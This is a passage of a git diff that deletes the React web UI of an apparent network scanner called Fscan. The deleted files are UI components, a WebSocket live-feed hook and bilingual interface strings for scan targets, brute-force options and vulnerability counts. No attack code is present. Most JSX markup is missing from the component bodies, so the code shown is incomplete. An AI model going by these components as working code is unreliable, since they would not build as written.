React.HTMLAttributes, - VariantProps {} - -function Badge({ className, variant, ...props }: BadgeProps) { - return ( -
- ) -} - -export { Badge, badgeVariants } diff --git a/web-ui/src/components/ui/button.tsx b/web-ui/src/components/ui/button.tsx deleted file mode 100644 index 6042281e..00000000 --- a/web-ui/src/components/ui/button.tsx +++ /dev/null @@ -1,55 +0,0 @@ -import * as React from "react" -import { Slot } from "@radix-ui/react-slot" -import { cva, type VariantProps } from "class-variance-authority" -import { cn } from "@/lib/utils" - -const buttonVariants = cva( - "inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50", - { - variants: { - variant: { - default: "bg-primary text-primary-foreground hover:bg-primary/90", - destructive: - "bg-destructive text-destructive-foreground hover:bg-destructive/90", - outline: - "border border-input bg-background hover:bg-accent hover:text-accent-foreground", - secondary: - "bg-secondary text-secondary-foreground hover:bg-secondary/80", - ghost: "hover:bg-accent hover:text-accent-foreground", - link: "text-primary underline-offset-4 hover:underline", - }, - size: { - default: "h-10 px-4 py-2", - sm: "h-9 rounded-md px-3", - lg: "h-11 rounded-md px-8", - icon: "h-10 w-10", - }, - }, - defaultVariants: { - variant: "default", - size: "default", - }, - } -) - -export interface ButtonProps - extends React.ButtonHTMLAttributes, - VariantProps { - asChild?: boolean -} - -const Button = React.forwardRef( - ({ className, variant, size, asChild = false, ...props }, ref) => { - const Comp = asChild ? Slot : "button" - return ( - - ) - } -) -Button.displayName = "Button" - -export { Button, buttonVariants } diff --git a/web-ui/src/components/ui/card.tsx b/web-ui/src/components/ui/card.tsx deleted file mode 100644 index c1da9bee..00000000 --- a/web-ui/src/components/ui/card.tsx +++ /dev/null @@ -1,78 +0,0 @@ -import * as React from "react" -import { cn } from "@/lib/utils" - -const Card = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -Card.displayName = "Card" - -const CardHeader = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -CardHeader.displayName = "CardHeader" - -const CardTitle = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardTitle.displayName = "CardTitle" - -const CardDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardDescription.displayName = "CardDescription" - -const CardContent = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardContent.displayName = "CardContent" - -const CardFooter = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -CardFooter.displayName = "CardFooter" - -export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent } diff --git a/web-ui/src/components/ui/chart.tsx b/web-ui/src/components/ui/chart.tsx deleted file mode 100644 index 9a5a98e6..00000000 --- a/web-ui/src/components/ui/chart.tsx +++ /dev/null @@ -1,222 +0,0 @@ -import * as React from "react" -import * as RechartsPrimitive from "recharts" -import { cn } from "@/lib/utils" - -export type ChartConfig = { - [k in string]: { - label?: React.ReactNode - icon?: React.ComponentType - color?: string - } -} - -type ChartContextProps = { - config: ChartConfig -} - -const ChartContext = React.createContext(null) - -function useChart() { - const context = React.useContext(ChartContext) - if (!context) { - throw new Error("useChart must be used within a ") - } - return context -} - -interface ChartContainerProps extends React.ComponentProps<"div"> { - config: ChartConfig - children: React.ComponentProps["children"] -} - -const ChartContainer = React.forwardRef( - ({ id, className, children, config, ...props }, ref) => { - const uniqueId = React.useId() - const chartId = `chart-${id || uniqueId.replace(/:/g, "")}` - - return ( - -
- - {children} - -
-
- ) - } -) -ChartContainer.displayName = "Chart" - -const ChartTooltip = RechartsPrimitive.Tooltip - -interface ChartTooltipContentProps extends React.ComponentProps<"div"> { - active?: boolean - payload?: Array<{ - name?: string - value?: number - dataKey?: string - color?: string - fill?: string - payload?: Record - }> - label?: string - hideLabel?: boolean - hideIndicator?: boolean - indicator?: "line" | "dot" | "dashed" - nameKey?: string - labelKey?: string - labelFormatter?: (value: unknown, payload: unknown[]) => React.ReactNode - formatter?: ( - value: unknown, - name: unknown, - item: unknown, - index: number, - payload: unknown - ) => React.ReactNode -} - -const ChartTooltipContent = React.forwardRef( - ( - { - active, - payload, - className, - indicator = "dot", - hideLabel = false, - hideIndicator = false, - label, - labelFormatter, - formatter, - nameKey, - labelKey, - }, - ref - ) => { - const { config } = useChart() - - const tooltipLabel = React.useMemo(() => { - if (hideLabel || !payload?.length) { - return null - } - - const [item] = payload - const key = `${labelKey || item?.dataKey || item?.name || "value"}` - const itemConfig = config[key] - const value = itemConfig?.label || label - - if (labelFormatter && payload) { - return ( -
- {labelFormatter(value, payload)} -
- ) - } - - if (!value) { - return null - } - - return
{value}
- }, [label, labelFormatter, payload, hideLabel, config, labelKey]) - - if (!active || !payload?.length) { - return null - } - - const nestLabel = payload.length === 1 && indicator !== "dot" - - return ( -
- {!nestLabel ? tooltipLabel : null} -
- {payload.map((item, index) => { - const key = `${nameKey || item.name || item.dataKey || "value"}` - const itemConfig = config[key] - const indicatorColor = item.payload?.fill || item.fill || item.color - - return ( -
svg]:h-2.5 [&>svg]:w-2.5 [&>svg]:text-muted-foreground", - indicator === "dot" && "items-center" - )} - > - {formatter && item?.value !== undefined && item.name ? ( - formatter(item.value, item.name, item, index, item.payload) - ) : ( - <> - {itemConfig?.icon ? ( - - ) : ( - !hideIndicator && ( -
- ) - )} -
-
- {nestLabel ? tooltipLabel : null} - - {itemConfig?.label || item.name} - -
- {item.value !== undefined && ( - - {item.value.toLocaleString()} - - )} -
- - )} -
- ) - })} -
-
- ) - } -) -ChartTooltipContent.displayName = "ChartTooltip" - -const ChartLegend = RechartsPrimitive.Legend - -export { - ChartContainer, - ChartTooltip, - ChartTooltipContent, - ChartLegend, -} diff --git a/web-ui/src/components/ui/collapsible.tsx b/web-ui/src/components/ui/collapsible.tsx deleted file mode 100644 index a23e7a28..00000000 --- a/web-ui/src/components/ui/collapsible.tsx +++ /dev/null @@ -1,9 +0,0 @@ -import * as CollapsiblePrimitive from "@radix-ui/react-collapsible" - -const Collapsible = CollapsiblePrimitive.Root - -const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger - -const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent - -export { Collapsible, CollapsibleTrigger, CollapsibleContent } diff --git a/web-ui/src/components/ui/dropdown-menu.tsx b/web-ui/src/components/ui/dropdown-menu.tsx deleted file mode 100644 index 2394999c..00000000 --- a/web-ui/src/components/ui/dropdown-menu.tsx +++ /dev/null @@ -1,197 +0,0 @@ -import * as React from "react" -import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu" -import { Check, ChevronRight, Circle } from "lucide-react" -import { cn } from "@/lib/utils" - -const DropdownMenu = DropdownMenuPrimitive.Root - -const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger - -const DropdownMenuGroup = DropdownMenuPrimitive.Group - -const DropdownMenuPortal = DropdownMenuPrimitive.Portal - -const DropdownMenuSub = DropdownMenuPrimitive.Sub - -const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup - -const DropdownMenuSubTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, children, ...props }, ref) => ( - - {children} - - -)) -DropdownMenuSubTrigger.displayName = - DropdownMenuPrimitive.SubTrigger.displayName - -const DropdownMenuSubContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -DropdownMenuSubContent.displayName = - DropdownMenuPrimitive.SubContent.displayName - -const DropdownMenuContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, sideOffset = 4, ...props }, ref) => ( - - - -)) -DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName - -const DropdownMenuItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, ...props }, ref) => ( - -)) -DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName - -const DropdownMenuCheckboxItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, checked, ...props }, ref) => ( - - - - - - - {children} - -)) -DropdownMenuCheckboxItem.displayName = - DropdownMenuPrimitive.CheckboxItem.displayName - -const DropdownMenuRadioItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - - - - - {children} - -)) -DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName - -const DropdownMenuLabel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, ...props }, ref) => ( - -)) -DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName - -const DropdownMenuSeparator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName - -const DropdownMenuShortcut = ({ - className, - ...props -}: React.HTMLAttributes) => { - return ( - - ) -} -DropdownMenuShortcut.displayName = "DropdownMenuShortcut" - -export { - DropdownMenu, - DropdownMenuTrigger, - DropdownMenuContent, - DropdownMenuItem, - DropdownMenuCheckboxItem, - DropdownMenuRadioItem, - DropdownMenuLabel, - DropdownMenuSeparator, - DropdownMenuShortcut, - DropdownMenuGroup, - DropdownMenuPortal, - DropdownMenuSub, - DropdownMenuSubContent, - DropdownMenuSubTrigger, - DropdownMenuRadioGroup, -} diff --git a/web-ui/src/components/ui/empty-state.tsx b/web-ui/src/components/ui/empty-state.tsx deleted file mode 100644 index 900eb75d..00000000 --- a/web-ui/src/components/ui/empty-state.tsx +++ /dev/null @@ -1,44 +0,0 @@ -import * as React from "react" -import { cn } from "@/lib/utils" -import type { LucideIcon } from "lucide-react" - -interface EmptyStateProps extends React.HTMLAttributes { - icon?: LucideIcon - title: string - description?: string - action?: React.ReactNode -} - -function EmptyState({ - icon: Icon, - title, - description, - action, - className, - ...props -}: EmptyStateProps) { - return ( -
- {Icon && ( -
- -
- )} -

{title}

- {description && ( -

- {description} -

- )} - {action &&
{action}
} -
- ) -} - -export { EmptyState } diff --git a/web-ui/src/components/ui/input.tsx b/web-ui/src/components/ui/input.tsx deleted file mode 100644 index 953ebf7e..00000000 --- a/web-ui/src/components/ui/input.tsx +++ /dev/null @@ -1,24 +0,0 @@ -import * as React from "react" -import { cn } from "@/lib/utils" - -export interface InputProps - extends React.InputHTMLAttributes {} - -const Input = React.forwardRef( - ({ className, type, ...props }, ref) => { - return ( - - ) - } -) -Input.displayName = "Input" - -export { Input } diff --git a/web-ui/src/components/ui/label.tsx b/web-ui/src/components/ui/label.tsx deleted file mode 100644 index e0d8e049..00000000 --- a/web-ui/src/components/ui/label.tsx +++ /dev/null @@ -1,23 +0,0 @@ -import * as React from "react" -import * as LabelPrimitive from "@radix-ui/react-label" -import { cva, type VariantProps } from "class-variance-authority" -import { cn } from "@/lib/utils" - -const labelVariants = cva( - "text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70" -) - -const Label = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & - VariantProps ->(({ className, ...props }, ref) => ( - -)) -Label.displayName = LabelPrimitive.Root.displayName - -export { Label } diff --git a/web-ui/src/components/ui/progress.tsx b/web-ui/src/components/ui/progress.tsx deleted file mode 100644 index 682afb70..00000000 --- a/web-ui/src/components/ui/progress.tsx +++ /dev/null @@ -1,25 +0,0 @@ -import * as React from "react" -import * as ProgressPrimitive from "@radix-ui/react-progress" -import { cn } from "@/lib/utils" - -const Progress = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, value, ...props }, ref) => ( - - - -)) -Progress.displayName = ProgressPrimitive.Root.displayName - -export { Progress } diff --git a/web-ui/src/components/ui/scroll-area.tsx b/web-ui/src/components/ui/scroll-area.tsx deleted file mode 100644 index 32258390..00000000 --- a/web-ui/src/components/ui/scroll-area.tsx +++ /dev/null @@ -1,45 +0,0 @@ -import * as React from "react" -import * as ScrollAreaPrimitive from "@radix-ui/react-scroll-area" -import { cn } from "@/lib/utils" - -const ScrollArea = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - {children} - - - - -)) -ScrollArea.displayName = ScrollAreaPrimitive.Root.displayName - -const ScrollBar = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, orientation = "vertical", ...props }, ref) => ( - - - -)) -ScrollBar.displayName = ScrollAreaPrimitive.ScrollAreaScrollbar.displayName - -export { ScrollArea, ScrollBar } diff --git a/web-ui/src/components/ui/select.tsx b/web-ui/src/components/ui/select.tsx deleted file mode 100644 index 12b8cd21..00000000 --- a/web-ui/src/components/ui/select.tsx +++ /dev/null @@ -1,156 +0,0 @@ -import * as React from "react" -import * as SelectPrimitive from "@radix-ui/react-select" -import { Check, ChevronDown, ChevronUp } from "lucide-react" -import { cn } from "@/lib/utils" - -const Select = SelectPrimitive.Root - -const SelectGroup = SelectPrimitive.Group - -const SelectValue = SelectPrimitive.Value - -const SelectTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - span]:line-clamp-1", - className - )} - {...props} - > - {children} - - - - -)) -SelectTrigger.displayName = SelectPrimitive.Trigger.displayName - -const SelectScrollUpButton = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - -)) -SelectScrollUpButton.displayName = SelectPrimitive.ScrollUpButton.displayName - -const SelectScrollDownButton = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - -)) -SelectScrollDownButton.displayName = - SelectPrimitive.ScrollDownButton.displayName - -const SelectContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, position = "popper", ...props }, ref) => ( - - - - - {children} - - - - -)) -SelectContent.displayName = SelectPrimitive.Content.displayName - -const SelectLabel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -SelectLabel.displayName = SelectPrimitive.Label.displayName - -const SelectItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - - - - - {children} - -)) -SelectItem.displayName = SelectPrimitive.Item.displayName - -const SelectSeparator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -SelectSeparator.displayName = SelectPrimitive.Separator.displayName - -export { - Select, - SelectGroup, - SelectValue, - SelectTrigger, - SelectContent, - SelectLabel, - SelectItem, - SelectSeparator, - SelectScrollUpButton, - SelectScrollDownButton, -} diff --git a/web-ui/src/components/ui/separator.tsx b/web-ui/src/components/ui/separator.tsx deleted file mode 100644 index e7773186..00000000 --- a/web-ui/src/components/ui/separator.tsx +++ /dev/null @@ -1,28 +0,0 @@ -import * as React from "react" -import * as SeparatorPrimitive from "@radix-ui/react-separator" -import { cn } from "@/lib/utils" - -const Separator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->( - ( - { className, orientation = "horizontal", decorative = true, ...props }, - ref - ) => ( - - ) -) -Separator.displayName = SeparatorPrimitive.Root.displayName - -export { Separator } diff --git a/web-ui/src/components/ui/skeleton.tsx b/web-ui/src/components/ui/skeleton.tsx deleted file mode 100644 index 01b8b6d4..00000000 --- a/web-ui/src/components/ui/skeleton.tsx +++ /dev/null @@ -1,15 +0,0 @@ -import { cn } from "@/lib/utils" - -function Skeleton({ - className, - ...props -}: React.HTMLAttributes) { - return ( -
- ) -} - -export { Skeleton } diff --git a/web-ui/src/components/ui/switch.tsx b/web-ui/src/components/ui/switch.tsx deleted file mode 100644 index fbb280ca..00000000 --- a/web-ui/src/components/ui/switch.tsx +++ /dev/null @@ -1,26 +0,0 @@ -import * as React from "react" -import * as SwitchPrimitives from "@radix-ui/react-switch" -import { cn } from "@/lib/utils" - -const Switch = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - -)) -Switch.displayName = SwitchPrimitives.Root.displayName - -export { Switch } diff --git a/web-ui/src/components/ui/tabs.tsx b/web-ui/src/components/ui/tabs.tsx deleted file mode 100644 index 4c751b30..00000000 --- a/web-ui/src/components/ui/tabs.tsx +++ /dev/null @@ -1,52 +0,0 @@ -import * as React from "react" -import * as TabsPrimitive from "@radix-ui/react-tabs" -import { cn } from "@/lib/utils" - -const Tabs = TabsPrimitive.Root - -const TabsList = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsList.displayName = TabsPrimitive.List.displayName - -const TabsTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsTrigger.displayName = TabsPrimitive.Trigger.displayName - -const TabsContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsContent.displayName = TabsPrimitive.Content.displayName - -export { Tabs, TabsList, TabsTrigger, TabsContent } diff --git a/web-ui/src/components/ui/tooltip.tsx b/web-ui/src/components/ui/tooltip.tsx deleted file mode 100644 index 222527a2..00000000 --- a/web-ui/src/components/ui/tooltip.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import * as React from "react" -import * as TooltipPrimitive from "@radix-ui/react-tooltip" -import { cn } from "@/lib/utils" - -const TooltipProvider = TooltipPrimitive.Provider - -const Tooltip = TooltipPrimitive.Root - -const TooltipTrigger = TooltipPrimitive.Trigger - -const TooltipContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, sideOffset = 4, ...props }, ref) => ( - - - -)) -TooltipContent.displayName = TooltipPrimitive.Content.displayName - -export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider } diff --git a/web-ui/src/contexts/LiveFeedContext.tsx b/web-ui/src/contexts/LiveFeedContext.tsx deleted file mode 100644 index 6a979004..00000000 --- a/web-ui/src/contexts/LiveFeedContext.tsx +++ /dev/null @@ -1,167 +0,0 @@ -import { createContext, useContext, useState, useCallback, useEffect, useRef, useMemo, type ReactNode } from 'react'; - -export type MessageType = - | 'scan_started' - | 'scan_progress' - | 'scan_result' - | 'scan_completed' - | 'scan_error' - | 'connected' - | 'ping' - | 'pong'; - -export interface WSMessage { - type: MessageType; - timestamp: number; - data?: unknown; -} - -export interface LogEntry { - id: number; - time: string; - type: string; - target: string; - status: string; -} - -interface LiveFeedContextType { - isConnected: boolean; - logs: LogEntry[]; - clearLogs: () => void; -} - -const LiveFeedContext = createContext(null); - -export function LiveFeedProvider({ children }: { children: ReactNode }) { - const [isConnected, setIsConnected] = useState(false); - const [logs, setLogs] = useState([]); - const wsRef = useRef(null); - const reconnectTimeoutRef = useRef | null>(null); - const mountedRef = useRef(false); - // 使用 Map 做可靠去重: key = type|target, value = LogEntry - const logsMapRef = useRef>(new Map()); - // 递增计数器确保 id 唯一 - const counterRef = useRef(0); - - const clearLogs = useCallback(() => { - logsMapRef.current.clear(); - counterRef.current = 0; - setLogs([]); - }, []); - - const connect = useCallback(() => { - // 防止重复连接 - if (!mountedRef.current) return; - if (wsRef.current) { - const state = wsRef.current.readyState; - if (state === WebSocket.OPEN || state === WebSocket.CONNECTING) { - return; - } - } - - const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - const wsUrl = `${protocol}//${window.location.host}/ws`; - - const ws = new WebSocket(wsUrl); - wsRef.current = ws; - - ws.onopen = () => { - if (mountedRef.current) { - setIsConnected(true); - } - }; - - ws.onclose = () => { - if (mountedRef.current) { - setIsConnected(false); - // 延迟重连 - reconnectTimeoutRef.current = setTimeout(() => { - if (mountedRef.current) connect(); - }, 3000); - } - }; - - ws.onerror = () => { - ws.close(); - }; - - ws.onmessage = (event) => { - if (!mountedRef.current) return; - try { - const message: WSMessage = JSON.parse(event.data); - if (message.type === 'scan_result' && message.data) { - const data = message.data as Record; - // 使用服务端时间戳(如果有)格式化时间 - const serverTime = message.timestamp || Date.now(); - const newEntry: LogEntry = { - id: ++counterRef.current, // 递增确保唯一且有序 - time: new Date(serverTime).toLocaleTimeString(), - type: data.type || 'info', - target: data.target || '', - status: data.status || '', - }; - - const key = `${newEntry.type}|${newEntry.target}`; - const existing = logsMapRef.current.get(key); - - // 去重逻辑:同一 type|target 只保留一条,优先保留详细信息 - if (existing) { - const oldStatus = existing.status; - // 只有新的更详细才更新(保留原始 id 以维持顺序) - if ((oldStatus === 'identified' || oldStatus === 'open' || oldStatus === '') && - newEntry.status !== 'identified' && newEntry.status !== 'open' && newEntry.status !== '') { - logsMapRef.current.set(key, { ...newEntry, id: existing.id }); - } - // 已有信息,不重复添加 - } else { - logsMapRef.current.set(key, newEntry); - } - - // 从 Map 生成排序后的数组(按 id 倒序,最新在前) - const sorted = Array.from(logsMapRef.current.values()) - .sort((a, b) => b.id - a.id) - .slice(0, 100); - setLogs(sorted); - } - } catch { - // ignore parse errors - } - }; - }, []); - - useEffect(() => { - mountedRef.current = true; - connect(); - return () => { - mountedRef.current = false; - if (reconnectTimeoutRef.current) { - clearTimeout(reconnectTimeoutRef.current); - reconnectTimeoutRef.current = null; - } - if (wsRef.current) { - wsRef.current.close(); - wsRef.current = null; - } - }; - }, [connect]); - - const value = useMemo(() => ({ - isConnected, - logs, - clearLogs, - }), [isConnected, logs, clearLogs]); - - return ( - - {children} - - ); -} - -export function useLiveFeed() { - const context = useContext(LiveFeedContext); - if (!context) { - throw new Error('useLiveFeed must be used within a LiveFeedProvider'); - } - return context; -} diff --git a/web-ui/src/hooks/useWebSocket.ts b/web-ui/src/hooks/useWebSocket.ts deleted file mode 100644 index a94877d0..00000000 --- a/web-ui/src/hooks/useWebSocket.ts +++ /dev/null @@ -1,100 +0,0 @@ -import { useEffect, useRef, useCallback, useState } from 'react'; - -export type MessageType = - | 'scan_started' - | 'scan_progress' - | 'scan_result' - | 'scan_completed' - | 'scan_error' - | 'connected' - | 'ping' - | 'pong'; - -export interface WSMessage { - type: MessageType; - timestamp: number; - data?: unknown; -} - -interface UseWebSocketOptions { - onMessage?: (message: WSMessage) => void; - onConnected?: () => void; - onDisconnected?: () => void; - reconnectInterval?: number; -} - -export function useWebSocket(options: UseWebSocketOptions = {}) { - const { - onMessage, - onConnected, - onDisconnected, - reconnectInterval = 3000, - } = options; - - const [isConnected, setIsConnected] = useState(false); - const wsRef = useRef(null); - const reconnectTimeoutRef = useRef | null>(null); - - const connect = useCallback(() => { - if (wsRef.current?.readyState === WebSocket.OPEN) { - return; - } - - const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - const wsUrl = `${protocol}//${window.location.host}/ws`; - - const ws = new WebSocket(wsUrl); - wsRef.current = ws; - - ws.onopen = () => { - setIsConnected(true); - onConnected?.(); - }; - - ws.onclose = () => { - setIsConnected(false); - onDisconnected?.(); - // Reconnect - reconnectTimeoutRef.current = setTimeout(connect, reconnectInterval); - }; - - ws.onerror = () => { - ws.close(); - }; - - ws.onmessage = (event) => { - try { - const message: WSMessage = JSON.parse(event.data); - onMessage?.(message); - } catch { - console.error('Failed to parse WebSocket message'); - } - }; - }, [onConnected, onDisconnected, onMessage, reconnectInterval]); - - const disconnect = useCallback(() => { - if (reconnectTimeoutRef.current) { - clearTimeout(reconnectTimeoutRef.current); - } - wsRef.current?.close(); - wsRef.current = null; - }, []); - - const sendMessage = useCallback((type: MessageType, data?: unknown) => { - if (wsRef.current?.readyState === WebSocket.OPEN) { - wsRef.current.send(JSON.stringify({ type, data, timestamp: Date.now() })); - } - }, []); - - useEffect(() => { - connect(); - return () => disconnect(); - }, [connect, disconnect]); - - return { - isConnected, - sendMessage, - connect, - disconnect, - }; -} diff --git a/web-ui/src/i18n/index.ts b/web-ui/src/i18n/index.ts deleted file mode 100644 index cda18f32..00000000 --- a/web-ui/src/i18n/index.ts +++ /dev/null @@ -1,236 +0,0 @@ -import i18n from 'i18next'; -import { initReactI18next } from 'react-i18next'; - -const resources = { - en: { - translation: { - // App - appTitle: 'Fscan Web UI', - appDescription: 'Network Security Scanner', - - // Navigation - navScan: 'Scan', - navResults: 'Results', - navSettings: 'Settings', - - // Scan Page - scanTitle: 'New Scan', - scanTarget: 'Target', - scanTargetPlaceholder: 'IP, IP range, domain (e.g., 192.168.1.0/24)', - scanPorts: 'Ports', - scanPortsPlaceholder: 'Port range (e.g., 1-1000,3306,8080)', - scanPreset: 'Preset', - scanPresetSelect: 'Select preset...', - scanMode: 'Scan Mode', - scanModeAll: 'All', - scanModeIcmp: 'ICMP Only', - scanThreads: 'Threads', - scanTimeout: 'Timeout (s)', - scanAdvanced: 'Advanced Options', - scanDisablePing: 'Disable Ping', - scanDisableBrute: 'Disable Brute Force', - scanAliveOnly: 'Alive Only', - scanUsername: 'Username', - scanPassword: 'Password', - scanDomain: 'Domain', - scanExcludeHosts: 'Exclude Hosts', - scanExcludePorts: 'Exclude Ports', - scanStartBtn: 'Start Scan', - scanStopBtn: 'Stop Scan', - scanRunning: 'Scan Running...', - - // Status - statusIdle: 'Idle', - statusRunning: 'Running', - statusStopping: 'Stopping', - - // Stats - statsHosts: 'Hosts', - statsPorts: 'Ports', - statsServices: 'Services', - statsVulns: 'Vulnerabilities', - - // Results - resultsTitle: 'Scan Results', - resultsDistribution: 'Results Distribution', - chartEmptyTitle: 'No data available', - chartEmptyDescription: 'Statistics will be displayed here after scanning', - resultsExport: 'Export', - resultsClear: 'Clear', - resultsEmpty: 'No results yet', - resultsEmptyDescription: 'Results will appear here after scanning', - resultsFilterAll: 'All', - resultsFilterHosts: 'Hosts', - resultsFilterPorts: 'Ports', - resultsFilterServices: 'Services', - resultsFilterVulns: 'Vulnerabilities', - - // Live Feed - liveFeed: 'Live Feed', - liveFeedConnected: 'Connected', - liveFeedDisconnected: 'Disconnected', - liveFeedEmptyDescription: 'Start a scan to see real-time results', - - // Settings - settingsTitle: 'Settings', - settingsLanguage: 'Language', - settingsTheme: 'Theme', - settingsThemeLight: 'Light', - settingsThemeDark: 'Dark', - settingsThemeSystem: 'System', - - // Common - loading: 'Loading...', - error: 'Error', - success: 'Success', - cancel: 'Cancel', - confirm: 'Confirm', - close: 'Close', - items: 'items', - refresh: 'Refresh', - clearAll: 'Clear all', - export: 'Export', - exportJson: 'Export JSON', - exportCsv: 'Export CSV', - - // Validation & Errors - targetRequired: 'Target is required', - startScanFailed: 'Failed to start scan', - stopScanFailed: 'Failed to stop scan', - clearConfirmTitle: 'Clear Results', - clearConfirm: 'Are you sure you want to clear all results? This action cannot be undone.', - - // Theme - lightMode: 'Light mode', - darkMode: 'Dark mode', - - // Result Types - typeHost: 'host', - typePort: 'port', - typeService: 'service', - typeVuln: 'vuln', - }, - }, - zh: { - translation: { - // App - appTitle: 'Fscan Web UI', - appDescription: '网络安全扫描器', - - // Navigation - navScan: '扫描', - navResults: '结果', - navSettings: '设置', - - // Scan Page - scanTitle: '新建扫描', - scanTarget: '目标', - scanTargetPlaceholder: 'IP、IP段、域名 (如: 192.168.1.0/24)', - scanPorts: '端口', - scanPortsPlaceholder: '端口范围 (如: 1-1000,3306,8080)', - scanPreset: '预设', - scanPresetSelect: '选择预设...', - scanMode: '扫描模式', - scanModeAll: '全部', - scanModeIcmp: '仅ICMP', - scanThreads: '线程数', - scanTimeout: '超时(秒)', - scanAdvanced: '高级选项', - scanDisablePing: '禁用Ping', - scanDisableBrute: '禁用爆破', - scanAliveOnly: '仅存活检测', - scanUsername: '用户名', - scanPassword: '密码', - scanDomain: '域名', - scanExcludeHosts: '排除主机', - scanExcludePorts: '排除端口', - scanStartBtn: '开始扫描', - scanStopBtn: '停止扫描', - scanRunning: '扫描进行中...', - - // Status - statusIdle: '空闲', - statusRunning: '运行中', - statusStopping: '停止中', - - // Stats - statsHosts: '主机', - statsPorts: '端口', - statsServices: '服务', - statsVulns: '漏洞', - - // Results - resultsTitle: '扫描结果', - resultsDistribution: '结果分布', - chartEmptyTitle: '暂无数据', - chartEmptyDescription: '扫描后将在此显示统计图表', - resultsExport: '导出', - resultsClear: '清空', - resultsEmpty: '暂无结果', - resultsEmptyDescription: '扫描结果将在此显示', - resultsFilterAll: '全部', - resultsFilterHosts: '主机', - resultsFilterPorts: '端口', - resultsFilterServices: '服务', - resultsFilterVulns: '漏洞', - - // Live Feed - liveFeed: '实时动态', - liveFeedConnected: '已连接', - liveFeedDisconnected: '已断开', - liveFeedEmptyDescription: '开始扫描后将在此显示实时结果', - - // Settings - settingsTitle: '设置', - settingsLanguage: '语言', - settingsTheme: '主题', - settingsThemeLight: '浅色', - settingsThemeDark: '深色', - settingsThemeSystem: '跟随系统', - - // Common - loading: '加载中...', - error: '错误', - success: '成功', - cancel: '取消', - confirm: '确认', - close: '关闭', - items: '条', - refresh: '刷新', - clearAll: '清空全部', - export: '导出', - exportJson: '导出 JSON', - exportCsv: '导出 CSV', - - // Validation & Errors - targetRequired: '请输入扫描目标', - startScanFailed: '启动扫描失败', - stopScanFailed: '停止扫描失败', - clearConfirmTitle: '清空结果', - clearConfirm: '确定要清空所有结果吗?此操作不可撤销。', - - // Theme - lightMode: '浅色模式', - darkMode: '深色模式', - - // Result Types - typeHost: '主机', - typePort: '端口', - typeService: '服务', - typeVuln: '漏洞', - }, - }, -}; - -i18n - .use(initReactI18next) - .init({ - resources, - lng: 'zh', - 